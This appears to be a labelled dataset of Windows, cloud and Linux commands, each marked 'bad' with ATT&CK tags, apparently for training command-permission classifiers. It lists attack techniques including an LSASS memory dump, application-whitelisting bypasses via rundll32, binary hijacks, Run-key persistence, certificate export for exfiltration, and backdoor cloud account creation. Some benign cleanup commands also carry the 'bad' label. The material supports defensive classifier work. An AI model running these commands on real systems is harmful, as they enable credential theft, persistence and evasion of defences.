cowWhySo/permission-command-corpus huggingface dataset:
Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows 10, Windows 11
ATT&CK tags: T1003.001
Source rule: Comsvcs.dll
Notes: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.
Command: rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: INF
Source rule: Advpack.dll
Notes: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).
Command: rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: INF
Source rule: Advpack.dll
Notes: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).
Command: rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: DLL
Source rule: Advpack.dll
Notes: Launch a DLL payload by calling the RegisterOCX function.
Command: rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Advpack.dll
Notes: Launch an executable by calling the RegisterOCX function.
Command: rundll32 advpack.dll, RegisterOCX {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: CMD
Source rule: Advpack.dll
Notes: Launch command line by calling the RegisterOCX function.
Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: INF
Source rule: Setupapi.dll
Notes: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).
Command: rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Zipfldr.dll
Notes: Launch an executable payload by calling RouteTheCall.
Command: rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Zipfldr.dll
Notes: Launch an executable payload by calling RouteTheCall (obfuscated).
Command: rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: HTA
Source rule: Mshtml.dll
Notes: Invoke an HTML Application via mshta.exe (note: pops a security warning and a print dialogue box).
Command: rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: INF
Source rule: Ieadvpack.dll
Notes: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).
Command: rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},,1,
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: INF
Source rule: Ieadvpack.dll
Notes: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).
Command: rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: DLL
Source rule: Ieadvpack.dll
Notes: Launch a DLL payload by calling the RegisterOCX function.
Command: rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Ieadvpack.dll
Notes: Launch an executable by calling the RegisterOCX function.
Command: rundll32 ieadvpack.dll, RegisterOCX {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: CMD
Source rule: Ieadvpack.dll
Notes: Launch command line by calling the RegisterOCX function.
Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE
Source rule: Desk.cpl
Notes: Launch an executable with a .scr extension by calling the InstallScreenSaver function.
Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: EXE, Execute: Remote
Source rule: Desk.cpl
Notes: Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
Command: rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127.002, Execute: ClickOnce, Execute: Remote
Source rule: Dfshim.dll
Notes: Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Command: RunCmd_X64 file.cmd /F
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218
Source rule: RunCmd_X64.exe
Notes: Launch command file and hide the console window
Command: Replace C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe by your binary
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: AcroRd32.exe
Notes: Hijack RdrCEF.exe with a payload executable to launch when opening Adobe
Command: Replace ROCCAT_Swarm_Monitor.exe with your binary.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: ROCCAT_Swarm.exe
Notes: Hijack ROCCAT_Swarm_Monitor.exe and launch payload when executing ROCCAT_Swarm.exe
Command: Run Setup.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Setup.exe
Notes: Hijack hpbcsiServiceMarshaller.exe and run Setup.exe to launch a payload.
Command: Nvudisp.exe System calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvudisp.exe
Notes: Execute calc.exe as a subprocess.
Command: Nvudisp.exe Copy test.txt,test-2.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvudisp.exe
Notes: Copy fila A to file B.
Command: Nvudisp.exe SetReg HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\malware=malware.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvudisp.exe
Notes: Add/Edit a Registry key value.
Command: Nvudisp.exe CreateShortcut test.lnk,"Test","c:\windows\system32\calc.exe\","","c:\windows\system32\"
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvudisp.exe
Notes: Create shortcut file.
Command: Nvudisp.exe KillApp calculator.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvudisp.exe
Notes: Kill a process.
Command: Nvudisp.exe Run foo
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvudisp.exe
Notes: Run process
Command: VBoxDrvInst.exe driver executeinf c:\temp\calc.inf
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: VBoxDrvInst.exe
Notes: Set registry key-value for persistance via INF file call through VBoxDrvInst.exe
Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 and up with Whatsapp installed
ATT&CK tags: T1218
Source rule: Update.exe
Notes: Copy your payload into "%localappdata%\Whatsapp\app-[version]\". Then run the command. Update.exe will execute the file you copied.
Command: nvuhda6.exe System calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvuhda6.exe
Notes: Execute calc.exe as a subprocess.
Command: nvuhda6.exe Copy test.txt,test-2.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvuhda6.exe
Notes: Copy fila A to file B.
Command: nvuhda6.exe SetReg HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\malware=malware.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvuhda6.exe
Notes: Add/Edit a Registry key value
Command: nvuhda6.exe CreateShortcut test.lnk,"Test","C:\Windows\System32\calc.exe","","C:\Windows\System32\"
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvuhda6.exe
Notes: Create shortcut file.
Command: nvuhda6.exe KillApp calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvuhda6.exe
Notes: Kill a process.
Command: nvuhda6.exe Run foo
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nvuhda6.exe
Notes: Run process
Command: "C:\Program Files\Avast Software\Avast\aswrundll" "C:\Users\Public\Libraries\tempsys\module.dll"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Source rule: aswrundll.exe
Notes: Load and execute modules using aswrundll
Command: Notes.exe "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Notes.exe
Notes: Run PowerShell via LotusNotes.
Command: Usbinst.exe InstallHinfSection "DefaultInstall 128 c:\temp\calc.inf"
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Usbinst.exe
Notes: Execute calc.exe through DefaultInstall Section Directive in INF file.
Command: NLNOTES.EXE /authenticate "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nlnotes.exe
Notes: Run PowerShell via LotusNotes.
Command: Gpup.exe -w whatever -e c:\Windows\System32\calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Gpup.exe
Notes: Execute another command through gpup.exe (Notepad++ binary).
Command: cscript testxlst.js C:\test\test.xml c:\test\test.xls c:\test\test.out
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execution
Platform: Windows
ATT&CK tags: T1064
Source rule: testxlst.js
Notes: Test Jscript included in Python tool to perform XSL transform (for payload execution).
Command: wscript testxlst.js C:\test\test.xml c:\test\test.xls c:\test\test.out
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execution
Platform: Windows
ATT&CK tags: T1064
Source rule: testxlst.js
Notes: Test Jscript included in Python tool to perform XSL transform (for payload execution).
Command: netsh.exe trace start capture=yes filemode=append persistent=yes tracefile=\\server\share\file.etl IPv4.Address=!(<IPofRemoteFileShare>) netsh.exe trace show status
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Netsh.exe
Notes: Capture network traffic on remote file share.
Command: netsh.exe add helper C:\Path\file.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Netsh.exe
Notes: Load (execute) NetSh.exe helper DLL file.
Command: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Netsh.exe
Notes: Forward traffic from the listening address and proxy to a remote system.
Command: OpenWith.exe /c C:\test.hta
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Openwith.exe
Notes: Opens the target file with the default application.
Command: OpenWith.exe /c C:\testing.msi
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Openwith.exe
Notes: Opens the target file with the default application.
Command: nltest.exe /SERVER:192.168.1.10 /QUERY
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Nltest.exe
Command: powershell -ep bypass - < c:\temp:ttt
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Powershell.exe
Notes: Execute the encoded PowerShell command stored in an Alternate Data Stream (ADS).
Command: explorer.exe calc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Explorer.exe
Notes: Executes calc.exe as a subprocess of explorer.exe.
Command: psr.exe /start /gui 0 /output c:\users\user\out.zip
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Psr.exe
Notes: Capture screenshots of the desktop and save them in the target .ZIP file.
Command: psr.exe /start /maxsc 100 /gui 0 /output c:\users\user\out.zip
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Psr.exe
Notes: Capture a maximum of 100 screenshots of the desktop and save them in the target .ZIP file.
Command: psr.exe /stop
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Psr.exe
Notes: Stop the Problem Step Recorder.
Command: Robocopy.exe C:\SourceFolder C:\DestFolder
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Robocopy.exe
Notes: Copy the entire contents of the SourceFolder to the DestFolder.
Command: Robocopy.exe \\SERVER\SourceFolder C:\DestFolder
Label: bad (risk class: suspicious, obfuscation: plain)
Source rule: Robocopy.exe
Notes: Copy the entire contents of the SourceFolder to the DestFolder.
Command: winword.exe /l dllfile.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows
ATT&CK tags: T1218
Source rule: winword.exe
Notes: Launch DLL payload.
Command: $archive="$env:PUBLIC\T1649\atomic_certs.zip" $exfilpath="$env:PUBLIC\T1649\certs" Add-Type -assembly "system.io.compression.filesystem" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore mkdir $exfilpath | Out-Null foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer} [io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1649
Platform: windows
ATT&CK tags: T1649
Source rule: Staging Local Certificates via Export-Certificate
Notes: Export all user certificates and add to a compressed archive.
Command: $exfilpath="$env:PUBLIC\T1649\certs" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1649
Platform: windows
ATT&CK tags: T1649
Source rule: Staging Local Certificates via Export-Certificate
Notes: Export all user certificates and add to a compressed archive.
Command: Enable-PSRemoting -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.006
Platform: windows
ATT&CK tags: T1021.006
Source rule: Enable Windows Remote Management
Notes: Powershell Enable WinRM

Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.
Command: Enable-PSRemoting -Force Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.006
Platform: windows
ATT&CK tags: T1021.006
Source rule: Remote Code Execution with PS Credentials Using Invoke-Command
Notes: Simulate lateral movement with PowerShell Remoting on the local host. 
Upon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the 
local machine as remote target.
Command: Disable-PSRemoting -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.006
Platform: windows
ATT&CK tags: T1021.006
Source rule: Remote Code Execution with PS Credentials Using Invoke-Command
Notes: Simulate lateral movement with PowerShell Remoting on the local host. 
Upon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the 
local machine as remote target.
Command: evil-winrm -i #{destination_address} -u #{user_name} -p #{password}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.006
Platform: windows
ATT&CK tags: T1021.006
Source rule: WinRM Access with Evil-WinRM
Notes: An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled
Command: aws iam create-user --user-name #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.003
Platform: iaas:aws
ATT&CK tags: T1136.003
Source rule: AWS - Create a new IAM user
Notes: Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time
Command: aws iam delete-user --user-name #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.003
Platform: iaas:aws
ATT&CK tags: T1136.003
Source rule: AWS - Create a new IAM user
Notes: Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time
Command: Connect-AzureAD $userprincipalname = "#{userprincipalname}" $username = "#{username}" $password = "#{password}" $PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile $PasswordProfile.Password = $password New-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.003
Platform: azure-ad
ATT&CK tags: T1136.003
Source rule: Azure AD - Create a new user
Notes: Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.
Command: Remove-AzureADUser -ObjectId "#{userprincipalname}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.003
Platform: azure-ad
ATT&CK tags: T1136.003
Source rule: Azure AD - Create a new user
Notes: Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.
Command: az login $userprincipalname = "#{userprincipalname}" $username = "#{username}" $password = "#{password}" az ad user create --display-name $username --password $password --user-principal-name $userprincipalname az ad user list --filter "displayname eq 'atomicredteam'"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.003
Platform: azure-ad
ATT&CK tags: T1136.003
Source rule: Azure AD - Create a new user via Azure CLI
Notes: Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.
Command: az ad user delete --id "#{userprincipalname}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.003
Platform: azure-ad
ATT&CK tags: T1136.003
Source rule: Azure AD - Create a new user via Azure CLI
Notes: Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.
Command: & "PathToAtomicsFolder\T1090.003\src\Psiphon.bat"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: windows
ATT&CK tags: T1090.003
Source rule: Psiphon
Notes: Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you
with uncensored access to Internet.
This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.
More information can be found about Psiphon using the following urls
http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html
https://psiphon.ca/faq.html
Command: $Proxy = Get-Content $env:Temp\proxy-backup.txt -ErrorAction Ignore if($null -ne $Proxy) {Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name "ProxyServer" -Value $Proxy}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: windows
ATT&CK tags: T1090.003
Source rule: Psiphon
Notes: Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you
with uncensored access to Internet.
This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.
More information can be found about Psiphon using the following urls
http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html
https://psiphon.ca/faq.html
Command: invoke-expression 'cmd /c start powershell -Command {cmd /c "#{TorExe}"}' sleep -s 60 stop-process -name "tor" | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: windows
ATT&CK tags: T1090.003
Source rule: Tor Proxy Usage - Windows
Notes: This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit.
Command: [ "$(uname)" = 'FreeBSD' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: linux
ATT&CK tags: T1090.003
Source rule: Tor Proxy Usage - Debian/Ubuntu/FreeBSD
Notes: This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched.
Command: [ "$(uname)" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.003
Platform: linux
ATT&CK tags: T1090.003
Source rule: Tor Proxy Usage - Debian/Ubuntu/FreeBSD
Notes: This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched.